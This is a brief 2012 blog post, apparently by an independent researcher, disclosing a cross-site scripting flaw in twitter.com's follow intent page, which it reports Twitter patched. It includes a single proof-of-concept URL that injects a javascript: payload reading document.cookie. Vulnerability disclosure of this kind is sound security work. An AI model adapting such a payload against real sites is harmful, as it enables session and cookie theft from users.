Sunday, April 29, 2012

Twitter Bug #1: Cross-Site Scripting (XSS) Found in twitter.com

Description
Sow Ching Shiong, an independent vulnerability researcher has discovered a Cross-Site Scripting (XSS) vulnerability in twitter.com, which can be exploited by an attacker to conduct XSS attacks.

Proof of concept
https://twitter.com/intent/follow?original_referer=javascript:alert(document.cookie);&region=follow_link&screen_name=twitterapi&source=followbutton&variant=2.0


Conclusion
This vulnerability has been confirmed and patched by Twitter Security Team. I would like to thank them for their quick response to my report.

Twitter White Hat

https://twitter.com/about/security

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